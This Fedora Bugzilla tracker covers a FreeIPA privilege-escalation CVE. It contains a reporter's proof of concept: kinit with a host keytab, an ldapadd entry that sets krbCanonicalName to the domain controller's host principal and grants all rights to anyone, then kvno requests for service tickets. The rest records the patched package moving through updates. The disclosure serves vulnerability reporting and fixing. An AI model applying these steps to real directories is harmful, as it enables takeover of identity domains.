Bug 2520175 - CVE-2026-13097 freeipa: Privilege escalation via krbCanonicalName manipulation due to realm-unaware uniqueness enforcement in FreeIPA LDAP datastore [fedora-all]
Summary: CVE-2026-13097 freeipa: Privilege escalation via krbCanonicalName manipulatio...
Keywords:
Status: CLOSED ERRATA
Alias: None
Product: Fedora
Classification: Fedora
Component: freeipa
Version: rawhide
Hardware: Unspecified
OS: Unspecified
high
high
Target Milestone: ---
Assignee: IPA Maintainers
QA Contact: Fedora Extras Quality Assurance
URL:
Whiteboard: {"flaws": ["fe5f6549-c240-4106-af34-f...
Depends On:
Blocks: CVE-2026-13097
TreeView+ depends on / blocked
 
Reported: 2026-08-20 10:22 UTC by Vladimir Vasilev
Modified: 2026-08-25 01:03 UTC (History)
7 users (show)

Fixed In Version: freeipa-4.13.3-1.1.fc44
Clone Of:
Environment:
Last Closed: 2026-08-25 01:03:03 UTC
Type: ---
Embargoed:


Attachments (Terms of Use)

Description Vladimir Vasilev 2026-08-20 10:22:22 UTC
Disclaimer: Community trackers are created by Red Hat Product Security team on a best effort basis. Package maintainers are required to ascertain if the flaw indeed affects their package, before starting the update process.

I'd like to report a privilege escalation method based on manipulation of the krbCanonicalName attribute. Despite changes made by FreeIPA and PAC certificate validation, it can still be abused.

Requirements to exploit: The attacker must have the rights of the computer account or an account with the right to add to almost any branch of the LDAP directory.

Version affected: FreeIPA VERSION: 4.12.2, API_VERSION: 2.254
Patch available: no
CVSS 3.1 Vector
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

You're familiar with the general information on vulnerabilities CVE-2025-4404 and CVE-2025-7493.
But there's a method that can currently be exploited, and it's much more dangerous than the CVEs listed.
The problem is that a user who controls krbCanonicalName can specify the value of any account by simply specifying krbCanonicalName without specifying REALM and then request the tickets they need.
On earlier versions of FreeIPA where PAC certificate validation isn't enabled, we can already fully exploit the domain. But even with PAC validation enabled, we can specify values with the service prefix.
For example, krbtgt/ or ldap/ or host/ and request a ticket with a PAC, and KDC will return a perfectly valid ticket.
It's worth noting that if you simply specify "admin," the issuance of such tickets will be rejected due to PAC certificate validation.
One of the easiest ways I see is to get a domain controller account, for example host/ipa.red.corp.


kdestroy -A


kinit -k -t /etc/krb5.keytab host/debi.red.corp


ldapadd -H ldap://ipa.red.corp


dn: krbprincipalname=pwn/debi.red.corp,cn=services,cn=accounts,dc=red,dc=corp
ipaKrbPrincipalAlias: pwn/debi.red.corp
krbPrincipalName: pwn/debi.red.corp
objectClass: ipaKrbPrincipal
objectClass: ipaObject
objectClass: ipaService
objectClass: krbPrincipal
objectClass: krbPrincipalAux
objectClass: top
krbCanonicalName: host/ipa.red.corp
managedBy: fqdn=debi.red.corp,cn=computers,cn=accounts,dc=red,dc=corp
aci: (targetattr = "*")(version 3.0;acl "pwn";allow (all) userdn = "ldap:///anyone"winking face


ipa-getkeytab -p pwn/debi.red.corp -k ./pwn.keytab --mech=GSSAPI


kdestroy -A


kinit -k -t pwn.keytab pwn/debi.red.corp


kvno HTTP/ipa.red.corp


kvno ldap/ipa.red.corp


klist -A

Comment 1 Fedora Update System 2026-08-20 11:21:42 UTC
FEDORA-2026-903d904933 (freeipa-4.13.3-1.fc44 and samba-4.24.6-1.fc44) has been submitted as an update to Fedora 44.
https://bodhi.fedoraproject.org/updates/FEDORA-2026-903d904933

Comment 2 Fedora Update System 2026-08-21 05:41:17 UTC
FEDORA-2026-903d904933 has been pushed to the Fedora 44 testing repository.
Soon you'll be able to install the update with the following command:
`sudo dnf upgrade --enablerepo=updates-testing --refresh --advisory=FEDORA-2026-903d904933`
You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2026-903d904933

See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates.

Comment 3 Fedora Update System 2026-08-21 09:49:03 UTC
FEDORA-2026-3a48220f1f (freeipa-4.13.3-1.1.fc43) has been submitted as an update to Fedora 43.
https://bodhi.fedoraproject.org/updates/FEDORA-2026-3a48220f1f

Comment 4 Fedora Update System 2026-08-22 01:39:48 UTC
FEDORA-2026-903d904933 has been pushed to the Fedora 44 testing repository.
Soon you'll be able to install the update with the following command:
`sudo dnf upgrade --enablerepo=updates-testing --refresh --advisory=FEDORA-2026-903d904933`
You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2026-903d904933

See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates.

Comment 5 Fedora Update System 2026-08-22 02:21:24 UTC
FEDORA-2026-3a48220f1f has been pushed to the Fedora 43 testing repository.
Soon you'll be able to install the update with the following command:
`sudo dnf upgrade --enablerepo=updates-testing --refresh --advisory=FEDORA-2026-3a48220f1f`
You can provide feedback for this update here: https://bodhi.fedoraproject.org/updates/FEDORA-2026-3a48220f1f

See also https://fedoraproject.org/wiki/QA:Updates_Testing for more information on how to test updates.

Comment 6 Fedora Update System 2026-08-25 01:03:03 UTC
FEDORA-2026-903d904933 (freeipa-4.13.3-1.1.fc44 and samba-4.24.6-1.fc44) has been pushed to the Fedora 44 stable repository.
If problem still persists, please make note of it in this bug report.


Note You need to log in before you can comment on or make changes to this bug.